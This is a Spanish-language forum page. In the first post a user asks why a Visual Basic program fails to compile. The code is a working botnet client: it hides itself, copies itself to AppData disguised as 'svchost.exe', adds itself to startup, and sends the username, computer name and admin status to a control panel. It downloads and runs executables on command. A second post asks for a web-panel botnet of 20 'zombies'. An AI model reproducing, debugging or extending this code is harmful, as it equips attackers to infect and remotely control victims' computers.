Temas

[Mod: código modificado, puesto en etiquetas GeSHi]

muy buenas.
al quererlo compilarlo como exe me arroja el error.
no consigo encontrar el problema. me ayudan?

Código (vb) [Seleccionar] Expandir


'Hidden File
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Dim keyword(4) As Variant

Private Sub Form_Load()
On Error Resume Next
'################### [SETTINGS] ###################
panel = "http://xxxx.com.mx/sour" 'Panel URL
MuTeX "MUTREX_910480921" 'Set Mutex

Interval = 20 'minutes
intCount = 0 'tCount
'################### [/SETTINGS] ###################



'################## [PERSISTANCE] ##################
'Call MakeCritical(-1, True) 'BSOD Process Persistance
App.TaskVisible = False 'Visibility

FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" 'Copy file
SetFileAttributes Environ("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it

addtostartup "svchost", (Environ("AppData") & "\svchost.exe") 'Add to startup
'################## [/PERSISTANCE] ##################

Call getCommand(panel)
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
intCount = intCount + 1 'Count +1 minute...

If intCount = Interval Then 'If time is reached...
intCount = 0 'Reset
addtostartup "svchost", (Environ("AppData") & "\svchost.exe")

Call getCommand(panel)
End If

End Sub

Public Sub getCommand(ByVal panel) 'Get Latest Command
On Error Resume Next
Dim objHttp As Object, strURL As String, strText As String, id As String

id = GetSetting("svchost", "svchost", "id", strText) 'Get ID

strURL = panel & "run.php" 'Control Panel / run.php
Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
objHttp.Open "POST", strURL, False
objHttp.setRequestHeader "User-Agent", _
   "753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
objHttp.setRequestHeader "Content-Type", _
   "application/x-www-form-urlencoded" 'Allows data to be sent
   
If id <> "" Then 'If NOT blank...
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) 'Send ID
Else
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
End If

strText = objHttp.ResponseText 'Response Text

       Dim errcode As Long
       Dim localFileName As String
       Dim rN As Integer

If Left(strText, 3) = "id|" Then
   SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID
   
ElseIf Left(strText, 3) = "DL|" Then 'Download...
       Randomize
       rN = Int(Rnd * 999999)
       DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
           
       localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir

       errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
           
       Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
           
ElseIf Left(strText, 3) = "UP|" Then
       Randomize
       rN = Int(Rnd * 999999)
       DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
           
       localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir

       errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
           
       Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
       
       'Removal/Ending...
       Dim WshShell, CAL1
       Set WshShell = CreateObject("WScript.Shell")
       
       If AmIAdmin = True Then
           CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
           WshShell.RegDelete CAL1
       Else
           CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
           WshShell.RegDelete CAL1
       End If
       
       Call MakeCritical(-1, False)
       End
           
ElseIf Left(strText, 3) = "VV|" Then
       ShellExecute Me.hwnd, "Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal]

ElseIf Left(strText, 3) = "VI|" Then
       Shell Environ("programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden]

ElseIf Left(strText, 3) = "UN|" Then 'Removal/Ending...
       If AmIAdmin = True Then
           CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
           WshShell.RegDelete CAL1
       Else
           CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
           WshShell.RegDelete CAL1
       End If
       
       Call MakeCritical(-1, False)
       End
End If


Set objHttp = Nothing

End Sub


gracias.

Mod: código modificado, puesto en etiquetas GeSHi

como estan?

Estoy tratando de configurar una botnet de 20 zombies, y he probado las botnes que hay en google, no son buenas xq, ademas que tienen algunos bugs.
Hace un par de dias emprendi en descubrir fallos con shsh, para eso necesito la botnet.
No consta de 20 maquinas virtuales con 5 ordenadores q son mios.
quisiera saber si han programado alguna que no sea necesariamente una superbot, pero q si se administre en un panel web, y que pueda visitar una web, q no haga un ddos, si no una simple visita por petision.
Pero necesito tomar el control de ellas al la vez, una de mis webs que siento q esta vulnerable al shsh. Necesito la bot para determinar un caso que no voy a decir de que se trata xq, aun no se si sea verdadero o falso
les agradeceria q me dieran una, saludo